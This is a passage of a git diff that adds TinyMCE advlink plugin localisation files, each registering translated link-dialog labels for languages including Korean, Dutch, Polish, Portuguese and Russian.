\u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","event_props":"\u10db\u10dd\u10d5\u10da\u10d4\u10dc\u10d4\u10d1\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","popup_props":"\u10d2\u10d0\u10e8\u10da\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","general_props":"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","advanced_tab":"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7","events_tab":"\u10db\u10dd\u10d5\u10da\u10d4\u10dc\u10d0","popup_tab":"\u10d2\u10d0\u10e8\u10da\u10d0","general_tab":"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd",list:"\u10e1\u10d8\u10d0","is_external":"\u10e8\u10d4\u10e7\u10d5\u10d0\u10dc\u10d8\u10da\u10d8 \u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8 \u10d2\u10d0\u10d5\u10e1 \u10d2\u10d0\u10e0\u10d4 \u10d1\u10db\u10e3\u10da\u10e1, \u10d3\u10d0\u10d5\u10d0\u10db\u10d0\u10d7\u10dd\u10e2 \u10de\u10e0\u10d4\u10e4\u10d8\u10e5\u10e1\u10d8 http://?","is_email":" \u10e8\u10d4\u10e7\u10d5\u10d0\u10dc\u10d8\u10da\u10d8 \u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8 \u10d2\u10d0\u10d5\u10e1 \u10d4\u10da.\u10e4\u10dd\u10e1\u10e2\u10d8\u10e1 \u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10e1, \u10d3\u10d0\u10d5\u10d0\u10db\u10d0\u10e2\u10dd\u10d7 \u10de\u10e0\u10d4\u10e4\u10d8\u10e5\u10e1\u10d8 mailto:?",titlefield:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8",target:"\u10db\u10d8\u10d6\u10d0\u10dc\u10d8",url:"\u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8",title:"\u10d1\u10db\u10e3\u10da\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","link_list":"\u10d1\u10db\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10e1\u10d8\u10d0",rtl:"\u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5",ltr:"\u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5",accesskey:"\u10e8\u10d4\u10e0\u10ec\u10d4\u10d5\u10d8\u10e1 \u10d2\u10d0\u10e1\u10d0\u10e6\u10d4\u10d1\u10d8",tabindex:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8",rev:"\u10db\u10d8\u10d6\u10dc\u10d8\u10e1 \u10d3\u10d0\u10db\u10dd\u10d9\u10d8\u10d3\u10d4\u10d1\u10e3\u10da\u10d4\u10d1\u10d0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d7\u10d0\u10dc",rel:"\u10d2\u10d5\u10d4\u10e0\u10d3\u10d8\u10e1 \u10d3\u10d0\u10db\u10dd\u10d9\u10d8\u10d3\u10d4\u10d1\u10e3\u10da\u10d4\u10d1\u10d0 \u10db\u10d8\u10d6\u10d0\u10dc\u10d7\u10d0\u10dc",mime:"MIME \u10db\u10d8\u10d6\u10dc\u10d8\u10e1 \u10e2\u10d8\u10de\u10d8",encoding:"\u10db\u10d8\u10d6\u10dc\u10d8\u10e1 \u10d9\u10dd\u10d3\u10d8\u10e0\u10d4\u10d1\u10d0",langcode:"\u10d4\u10dc\u10d8\u10e1 \u10d9\u10dd\u10d3\u10d8","target_langcode":"\u10db\u10d8\u10d6\u10dc\u10d8\u10e1 \u10d4\u10dc\u10d0",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/ko_dlg.js b/js/tiny_mce2/plugins/advlink/langs/ko_dlg.js new file mode 100755 index 0000000..ccd5261 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.advlink_dlg',{"target_name":"Target \uc774\ub984",classes:"\ud074\ub798\uc2a4",style:"\uc2a4\ud0c0\uc77c",id:"Id","popup_position":"\uc704\uce58(X/Y)",langdir:"\ud398\uc774\uc9c0 \ubb38\uc790 \ubc29\ud5a5","popup_size":"\ud06c\uae30","popup_dependent":"\uc5f0\ub3d9 (Mozilla/Firefox\ub9cc)","popup_resizable":"\ud06c\uae30\ubcc0\uacbd \uac00\ub2a5","popup_location":"\uc8fc\uc18c\ubc14\ub97c \ud45c\uc2dc","popup_menubar":"\uba54\ub274\ub97c \ud45c\uc2dc","popup_toolbar":"\ud234\ubc14\ub97c \ud45c\uc2dc","popup_statusbar":"\uc0c1\ud0dc\uc904\uc744 \ud45c\uc2dc","popup_scrollbars":"\uc2a4\ud06c\ub864\ubc14\ub97c \ud45c\uc2dc","popup_return":"\'return false\'\ub97c \uc0bd\uc785","popup_name":"Window \uc774\ub984","popup_url":"\ud31d\uc5c5 URL",popup:"Javascript \ud31d\uc5c5","target_blank":"\uc0c8\ucc3d\uc73c\ub85c \uc5f4\ub9b0\ub2e4","target_top":"\ucd5c\uc0c1\uc704 \ud504\ub808\uc784\uc73c\ub85c \uc5f4\ub9b0\ub2e4 (\ubaa8\ub4e0 \ud504\ub808\uc784 \ubcc0\uacbd)","target_parent":"\ubd80\ubaa8\ucc3d/\ud504\ub808\uc784\uc73c\ub85c \uc5f4\ub9b0\ub2e4","target_same":"\uc774 \ucc3d/\ud504\ub808\uc784\uc73c\ub85c \uc5f4\ub9b0\ub2e4","anchor_names":"\uc5e5\ucee4","popup_opts":"\uc635\uc158","advanced_props":"\uace0\uae09\uc758 \uc124\uc815","event_props":"\uc774\ubca4\ud2b8","popup_props":"\ud31d\uc5c5 \uc124\uc815","general_props":"\uc77c\ubc18 \uc124\uc815","advanced_tab":"\uace0\uae09","events_tab":"\uc774\ubca4\ud2b8","popup_tab":"\ud31d\uc5c5","general_tab":"\uc77c\ubc18",list:"\ub9c1\ud06c \ubaa9\ub85d","is_external":"\uc678\ubd80URL\uc774 \uc785\ub825\ub418\uc5c8\uc2b5\ub2c8\ub2e4.URL\uc758 \uc55e\uc5d0http://\ub97c \ubd99\uc785\ub2c8\uae4c?","is_email":"\uba54\uc77c\uc8fc\uc18c\uac00 \uc785\ub825\ub418\uc5c8\uc2b5\ub2c8\ub2e4. \uba54\uc77c\uc8fc\uc18c\uc758 \uc55e\uc5d0 mailto:\ub97c \ubd99\uc785\ub2c8\uae4c?",titlefield:"\uc81c\ubaa9",target:"Target",url:"\ub9c1\ud06c URL",title:"\ub9c1\ud06c\uc758 \uc0bd\uc785/\ud3b8\uc9d1","link_list":"\ub9c1\ud06c \ubaa9\ub85d",rtl:"\uc624\ub978\ucabd\uc5d0\uc11c \uc67c\ucabd",ltr:"\uc67c\ucabd\uc5d0\uc11c \uc624\ub978\ucabd",accesskey:"\uc561\uc138\uc2a4 \ud0a4",tabindex:"\ud0ed \uc778\ub371\uc2a4",rev:"\ub9c1\ud06c\ub85c\ubd80\ud130\uc758 \uad00\uacc4",rel:"\ub9c1\ud06c\uc5d0 \uad00\uacc4",mime:"MIME\ud0c0\uc785",encoding:"\ubb38\uc790 \uc778\ucf54\ub529",langcode:"\uc5b8\uc5b4 \ucf54\ub4dc","target_langcode":"\ud398\uc774\uc9c0 \uc5b8\uc5b4",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/lt_dlg.js b/js/tiny_mce2/plugins/advlink/langs/lt_dlg.js new file mode 100755 index 0000000..7a48ca4 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.advlink_dlg',{"target_name":"Paskirties vardas",classes:"Klas\u0117s",style:"Stilius",id:"Id","popup_position":"Pozicija (X/Y)",langdir:"Kalbos kryptis","popup_size":"Dydis","popup_dependent":"Proporcionaliai (tik Mozilla/Firefox)","popup_resizable":"Galima koreguoti lango i\u0161matavimus","popup_location":"Rodyti adres\u0173 juost\u0105","popup_menubar":"Rodyti meniu juost\u0105","popup_toolbar":"Rodyti \u012franki\u0173 juost\u0105","popup_statusbar":"Rodyti b\u016bsenos juost\u0105","popup_scrollbars":"Rodyti slankjuostes","popup_return":"\u012eterpti \u201ereturn false\u201c","popup_name":"Lango vardas","popup_url":"I\u0161kylan\u010dio lango URL adresas",popup:"Javascript i\u0161kylantis langas","target_blank":"Atverti naujame lange","target_top":"Atverti vir\u0161utiniame lange (pakei\u010dia visus langus)","target_parent":"Atverti t\u0117viniame lange","target_same":"Atverti tame pa\u010diame lange","anchor_names":"Prierai\u0161ai","popup_opts":"Nustatymai","advanced_props":"I\u0161pl\u0117stiniai nustatymai","event_props":"\u012evykiai","popup_props":"I\u0161kylan\u010dio lango nustatymai","general_props":"Bendri nustatymai","advanced_tab":"I\u0161pl\u0117sta","events_tab":"\u012evykiai","popup_tab":"I\u0161kylantis langas","general_tab":"Bendra",list:"Nuorod\u0173 s\u0105ra\u0161as","is_external":"URL adresas, kur\u012f \u012fved\u0117te yra i\u0161orin\u0117 nuoroda, ar norite prid\u0117ti reikaling\u0105 http:// prefiks\u0105?","is_email":"URL adresas, kur\u012f \u012fved\u0117te yra el. pa\u0161to adresas, ar norite prid\u0117ti reikaling\u0105 mailto: prefiks\u0105?",titlefield:"Pavadinimas",target:"Paskirtis",url:"Nuorodos URL adresas",title:"\u012eterpti/Redaguoti nuorod\u0105","link_list":"Nuorod\u0173 s\u0105ra\u0161as",rtl:"I\u0161 de\u0161in\u0117s \u012f kair\u0119",ltr:"I\u0161 kair\u0117s \u012f de\u0161in\u0119",accesskey:"Prieigos klavi\u0161as",tabindex:"Tabuliavimo indeksas",rev:"Ry\u0161ys paskirties su puslapiu",rel:"Ry\u0161ys puslapio su paskirtimi",mime:"Paskirties MIME tipas",encoding:"Kalbos koduot\u0117",langcode:"Kalbos kodas","target_langcode":"Paskirties kalba",width:"Plotis",height:"Auk\u0161tis"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/nl_dlg.js b/js/tiny_mce2/plugins/advlink/langs/nl_dlg.js new file mode 100755 index 0000000..0e147d8 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.advlink_dlg',{"target_name":"Doel",classes:"Klassen",style:"Stijl",id:"Id","popup_position":"Positie (X/Y)",langdir:"Taalrichting","popup_size":"Grootte","popup_dependent":"Afhankelijk (Alleen Mozilla/Firefox)","popup_resizable":"Aanpasbaar venster","popup_location":"Lokatiebalk weergeven","popup_menubar":"Menubalk weergeven","popup_toolbar":"Werkbalk weergeven","popup_statusbar":"Statusbalk weergeven","popup_scrollbars":"Scrollbalken weergeven","popup_return":"\'return false\' invoegen","popup_name":"Vensternaam","popup_url":"Popup URL",popup:"Javascript popup","target_blank":"In nieuw venster openen","target_top":"In bovenste frame openen (vervangt gehele pagina)","target_parent":"In bovenliggend venster / frame openen","target_same":"In dit venster / frame openen","anchor_names":"Ankers","popup_opts":"Opties","advanced_props":"Geavanceerde eigenschappen","event_props":"Gebeurtenissen","popup_props":"Popup eigenschappen","general_props":"Algemene eigenschappen","advanced_tab":"Geavanceerd","events_tab":"Gebeurtenissen","popup_tab":"Popup","general_tab":"Algemeen",list:"Lijst","is_external":"De ingevoerde URL lijkt op een externe link. Wilt u de vereiste http:// tekst voorvoegen?","is_email":"De ingevoerde URL lijkt op een e-mailadres. Wilt u de vereiste mailto: tekst voorvoegen?",titlefield:"Titel",target:"Doel",url:"URL",title:"Link invoegen/bewerken","link_list":"Lijst",rtl:"Van rechts naar links",ltr:"Van links naar rechts",accesskey:"Toegangstoets",tabindex:"Tabvolgorde",rev:"Relatie van doel tot pagina",rel:"Relatie van pagina tot doel",mime:"MIME type",encoding:"Taalcodering",langcode:"Taalcode","target_langcode":"Taal",width:"Breedte",height:"Hoogte"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/no_dlg.js b/js/tiny_mce2/plugins/advlink/langs/no_dlg.js new file mode 100755 index 0000000..6289918 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.advlink_dlg',{"target_name":"M\u00e5lnavn",classes:"Klasse",style:"Stil",id:"Id","popup_position":"Posisjon (X/Y)",langdir:"Skriftretning","popup_size":"St\u00f8rrelse","popup_dependent":"Avhengig vindu (kun i Mozilla/Firefox)","popup_resizable":"Gj\u00f8r vinduet skalerbart","popup_location":"Vis plasseringslinje","popup_menubar":"Vis menylinje","popup_toolbar":"Vis verkt\u00f8ylinjer","popup_statusbar":"Vis statusline","popup_scrollbars":"Vis rullefelt","popup_return":"Sett inn \\\'return false\\\'","popup_name":"Navn p\u00e5 vindu","popup_url":"Popup URL",popup:"Javascript popup","target_blank":"\u00c5pne i nytt vindu","target_top":"\u00c5pne i toppvindu (erstatter alle rammer)","target_parent":"\u00c5pne i overordnet vindu/ramme","target_same":"\u00c5pne i samme vindu/ramme","anchor_names":"Anker","popup_opts":"Innstillinger","advanced_props":"Avanserte egenskaper","event_props":"Hendelser","popup_props":"Popup egenskaper","general_props":"Generelle egenskaper","advanced_tab":"Avansert","events_tab":"Hendelser","popup_tab":"Popup","general_tab":"Generelt",list:"Liste over lenker","is_external":"URLen du skrev inn ser ut til \u00e5 v\u00e6re en ekstern lenke. \u00d8nsker du \u00e5 legge til obligatorisk http://-prefiks?","is_email":"URLen du skrev inn ser ut til \u00e5 v\u00e6re Epost adresse. \u00d8nsker du \u00e5 legge til obligatorisk mailto:-prefiks?",titlefield:"Tittel",target:"M\u00e5l",url:"Lenke URL",title:"Sett inn/editer lenke","link_list":"Liste over lenker",rtl:"H\u00f8yre mot venstre",ltr:"Venstre mot h\u00f8yre",accesskey:"Hurtigtast",tabindex:"Tabulator indeks",rev:"Forholdet mellom m\u00e5l og side",rel:"Forholdet mellom side og m\u00e5l",mime:"M\u00e5l MIME type",encoding:"M\u00e5l karakter koding",langcode:"Spr\u00e5kkode","target_langcode":"M\u00e5lspr\u00e5k",width:"Bredde",height:"H\u00f8yde"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/pl_dlg.js b/js/tiny_mce2/plugins/advlink/langs/pl_dlg.js new file mode 100755 index 0000000..d529d7a --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.advlink_dlg',{"target_name":"Nazwa celu",classes:"Klasy",style:"Styl",id:"Id","popup_position":"Pozycja (X/Y)",langdir:"Kierunek czytania tekstu","popup_size":"Rozmiar","popup_dependent":"Zale\u017cny (Mozilla/Firefox wy\u0142\u0105cznie)","popup_resizable":"Stw\u00f3rz okno z mo\u017cliwo\u015bci\u0105 zmiany rozmiaru","popup_location":"Poka\u017c pasek adresu","popup_menubar":"Poka\u017c pasek menu","popup_toolbar":"Poka\u017c narz\u0119dzia","popup_statusbar":"Poka\u017c pasek statusu","popup_scrollbars":"Poka\u017c paski przewijania","popup_return":"Wstaw \'return false\'","popup_name":"Nazwa okna","popup_url":"URL okna",popup:"Wyskakuj\u0105ce okno","target_blank":"Otw\u00f3rz w nowym oknie","target_top":"Otw\u00f3rz w g\u00f3rnej ramce (zamie\u0144 wszystkie ramki)","target_parent":"Otw\u00f3rz w nadrz\u0119dnym oknie / ramce","target_same":"Otw\u00f3rz w tym oknie / ramce","anchor_names":"Kotwice","popup_opts":"Opcje","advanced_props":"Zaawansowae w\u0142a\u015bciwo\u015bci","event_props":"Zdarzenia","popup_props":"W\u0142a\u015bciwo\u015bci okna","general_props":"W\u0142a\u015bciwo\u015bci og\u00f3lne","advanced_tab":"Zaawansowane","events_tab":"Zdarzenia","popup_tab":"Popup","general_tab":"Og\u00f3lne",list:"Lista link\u00f3w","is_external":"Podany adres wydaje si\u0119 by\u0107 zewn\u0119trznym linkiem, czy chcesz doda\u0107 wymagany prefiks http://?","is_email":"Podany adres wydaje si\u0119 by\u0107 adresem emailowym, czy chcesz doda\u0107 wymagany prefiks mailto:?",titlefield:"Tytu\u0142",target:"Cel",url:"URL linka",title:"Wstaw/edytuj link","link_list":"Lista odno\u015bnik\u00f3w",rtl:"Kierunek z prawej do lewej",ltr:"Kierunek z lewej do prawej",accesskey:"Klawisz skr\u00f3tu",tabindex:"Numer tab",rev:"Relacje celu do strony",rel:"Relacje strony do celu",mime:"Docelowy typ MIME",encoding:"Kodowanie znak\u00f3w celu",langcode:"Kod j\u0119zyka","target_langcode":"Docelowy kod j\u0119zyka",width:"Szeroko\u015b\u0107",height:"Wysoko\u015b\u0107"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/pt_dlg.js b/js/tiny_mce2/plugins/advlink/langs/pt_dlg.js new file mode 100755 index 0000000..8167855 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.advlink_dlg',{"target_name":"Nome do alvo",classes:"Classes",style:"Estilo",id:"Id","popup_position":"Posi\u00e7\u00e3o (X/Y)",langdir:"Dire\u00e7\u00e3o do texto","popup_size":"Tamanho","popup_dependent":"Dependente (Mozilla/Firefox apenas)","popup_resizable":"Permitir altera\u00e7\u00e3o do tamanho da janela","popup_location":"Mostrar a barra de endere\u00e7os","popup_menubar":"Mostrar a barra de menu","popup_toolbar":"Mostrar a barra de ferramentas","popup_statusbar":"Mostrar a barra de status","popup_scrollbars":"Mostrar as barras de scroll","popup_return":"Inserir \"return false\"","popup_name":"Nome da janela","popup_url":"URL do popup",popup:"Popup javascript","target_blank":"Abrir numa nova janela","target_top":"Abrir na p\u00e1gina inteira (substitui todos os quadros)","target_parent":"Abrir na janela/quadro pai","target_same":"Abrir nesta janela/quadro","anchor_names":"\u00c2ncoras","popup_opts":"Op\u00e7\u00f5es","advanced_props":"Propriedades avan\u00e7adas","event_props":"Eventos","popup_props":"Propriedades de popup","general_props":"Propriedades gerais","advanced_tab":"Avan\u00e7ado","events_tab":"Eventos","popup_tab":"Popup","general_tab":"Geral",list:"Lista de hyperlinks","is_external":"A URL digitada parece conduzir a um link externo. Deseja acrescentar o prefixo necess\u00e1rio http://?","is_email":"A URL digitada parece ser um endere\u00e7o de e-mail. Deseja acrescentar o prefixo necess\u00e1rio mailto:?",titlefield:"T\u00edtulo",target:"Alvo",url:"URL do hyperlink",title:"Inserir/editar hyperlink","link_list":"Lista de hyperlinks",rtl:"Da direita para a esquerda",ltr:"Da esquerda para a direita",accesskey:"Chave de acesso",tabindex:"Tabindex",rev:"Rela\u00e7\u00e3o alvo/p\u00e1gina",rel:"Rela\u00e7\u00e3o p\u00e1gina/alvo",mime:"Tipo MIME alvo",encoding:"Codifica\u00e7\u00e3o de caracteres",langcode:"C\u00f3digo do idioma","target_langcode":"Idioma alvo",width:"Largura",height:"Altura"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/ro_dlg.js b/js/tiny_mce2/plugins/advlink/langs/ro_dlg.js new file mode 100755 index 0000000..dc12a98 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.advlink_dlg',{"target_name":"Nume \u021bint\u0103",classes:"Clase",style:"Stil",id:"Id","popup_position":"Pozi\u021bie (X/Y)",langdir:"Direc\u021bie limb\u0103","popup_size":"M\u0103rime","popup_dependent":"Dependent (Mozilla/Firefox)?","popup_resizable":"Fereastr\u0103 redimensionabil\u0103?","popup_location":"Arat\u0103 bara de adrese","popup_menubar":"Arat\u0103 meniul","popup_toolbar":"Arat\u0103 toolbar-uri","popup_statusbar":"Arat\u0103 bara de stare","popup_scrollbars":"Arat\u0103 barele de derulare","popup_return":"Insereaz\u0103 \'return false\'","popup_name":"Nume fereastr\u0103","popup_url":"URL Popup",popup:"Javascript Popup","target_blank":"Deschide \u00een fereastr\u0103 nou\u0103","target_top":"Deschide \u00een cadrul cel mai mare (\u00eenlocuie\u0219te celelalte cadre)","target_parent":"Deschide leg\u0103tura \u00een fereastra/cadrul p\u0103rinte","target_same":"Deschide leg\u0103tura \u00een fereastra/cadrul de fa\u021b\u0103","anchor_names":"Ancore","popup_opts":"Op\u021biuni","advanced_props":"Propriet\u0103\u021bi avansate","event_props":"Evenimente","popup_props":"Propriet\u0103\u021bi popup","general_props":"Propriet\u0103\u021bi generale","advanced_tab":"Avansat","events_tab":"Evenimente","popup_tab":"Popup","general_tab":"General",list:"List\u0103 de leg\u0103turi","is_external":"URL-ul pe care l-ai introdus pare a fi o leg\u0103tur\u0103 extern\u0103. Vrei s\u0103 adaug \u0219i prefixul http:// necesar?","is_email":"URL-ul pe care l-ai introdus pare a fi o adres\u0103 de e-mail. Vrei s\u0103 adaug \u0219i prefixul mailto: necesar?",titlefield:"Titlu",target:"\u021aint\u0103",url:"URL leg\u0103tur\u0103",title:"Insereaz\u0103/editeaz\u0103 link","link_list":"List\u0103 leg\u0103turi",rtl:"Dreapta la st\u00e2nga",ltr:"St\u00e2nga la dreapta",accesskey:"Cheie de acces",tabindex:"Tabindex",rev:"Rela\u0163ia \u0163intei cu pagina",rel:"Rela\u021bia paginii cu \u021binta",mime:"MIME type \u021bint\u0103",encoding:"Set de caractere \u021bint\u0103",langcode:"Cod limb\u0103","target_langcode":"Limb\u0103",width:"L\u0103\u021bime",height:"\u00cen\u0103l\u021bime"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/ru_dlg.js b/js/tiny_mce2/plugins/advlink/langs/ru_dlg.js new file mode 100755 index 0000000..faa6285 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.advlink_dlg',{"target_name":"\u0418\u043c\u044f \u0446\u0435\u043b\u0438",classes:"\u041a\u043b\u0430\u0441\u0441\u044b",style:"\u0421\u0442\u0438\u043b\u044c",id:"\u0418\u043c\u044f","popup_position":"\u041f\u043e\u0437\u0438\u0446\u0438\u044f (X/Y)",langdir:"\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0442\u0435\u043a\u0441\u0442\u0430","popup_size":"\u0420\u0430\u0437\u043c\u0435\u0440","popup_dependent":"\u0417\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c (\u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f Firefox)","popup_resizable":"\u0420\u0430\u0437\u0440\u0435\u0448\u0430\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0440\u0430\u0437\u043c\u0435\u0440","popup_location":"\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c \u043f\u0430\u043d\u0435\u043b\u044c \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f","popup_menubar":"\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c \u043c\u0435\u043d\u044e","popup_toolbar":"\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c \u043f\u0430\u043d\u0435\u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432","popup_statusbar":"\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f","popup_scrollbars":"\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c \u043f\u043e\u043b\u043e\u0441\u044b \u043f\u0440\u043e\u043a\u0440\u0443\u0442\u043a\u0438","popup_return":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \'return false\'","popup_name":"\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u043e\u043a\u043d\u0430","popup_url":"\u0410\u0434\u0440\u0435\u0441",popup:"\u0420\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c Java","target_blank":"\u041e\u0442\u043a\u0440\u044b\u0442\u044c \u0432 \u043d\u043e\u0432\u043e\u043c \u043e\u043a\u043d\u0435","target_top":"\u041e\u0442\u043a\u0440\u044b\u0442\u044c \u0432 \u0432\u0435\u0440\u0445\u043d\u0435\u043c \u043a\u0430\u0434\u0440\u0435 (\u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0432\u0441\u0435 \u043a\u0430\u0434\u0440\u044b)","target_parent":"\u041e\u0442\u043a\u0440\u044b\u0442\u044c \u0432 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c \u043e\u043a\u043d\u0435/\u043a\u0430\u0434\u0440\u0435","target_same":"\u041e\u0442\u043a\u0440\u044b\u0442\u044c \u0432 \u044d\u0442\u043e\u043c \u043e\u043a\u043d\u0435/\u043a\u0430\u0434\u0440\u0435","anchor_names":"\u042f\u043a\u043e\u0440\u044f","popup_opts":"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430","advanced_props":"\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b","event_props":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0441\u043e\u0431\u044b\u0442\u0438\u0439","popup_props":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f","general_props":"\u041e\u0431\u0449\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b","advanced_tab":"\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e","events_tab":"\u0421\u043e\u0431\u044b\u0442\u0438\u044f","popup_tab":"\u0420\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435","general_tab":"\u041e\u0431\u0449\u0435\u0435",list:"\u0421\u043f\u0438\u0441\u043e\u043a","is_external":"\u0412\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u0432\u043d\u0435\u0448\u043d\u044e\u044e \u0441\u0441\u044b\u043b\u043a\u0443, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u0435\u0444\u0438\u043a\u0441 http://?","is_email":"\u0412\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u0443\u044e \u043f\u043e\u0447\u0442\u0443, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u0435\u0444\u0438\u043a\u0441 mailto:?",titlefield:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",target:"\u0426\u0435\u043b\u044c",url:"\u0410\u0434\u0440\u0435\u0441",title:"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0441\u0441\u044b\u043b\u043a\u0438","link_list":"\u0421\u043f\u0438\u0441\u043e\u043a \u0441\u0441\u044b\u043b\u043e\u043a",rtl:"\u0421\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0435\u0432\u043e",ltr:"\u0421\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e",accesskey:"\u041a\u043b\u044e\u0447 \u0434\u043e\u0441\u0442\u0443\u043f\u0430",tabindex:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",rev:"\u041e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 \u0446\u0435\u043b\u0438 \u043a \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435",rel:"\u041e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043a \u0446\u0435\u043b\u0438",mime:"MIME \u0442\u0438\u043f \u0446\u0435\u043b\u0438",encoding:"\u041a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0430 \u0446\u0435\u043b\u0438",langcode:"\u041a\u043e\u0434 \u044f\u0437\u044b\u043a\u0430","target_langcode":"\u042f\u0437\u044b\u043a \u0446\u0435\u043b\u0438",width:"\u0428\u0438\u0440\u0438\u043d\u0430",height:"\u0412\u044b\u0441\u043e\u0442\u0430"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/sk_dlg.js 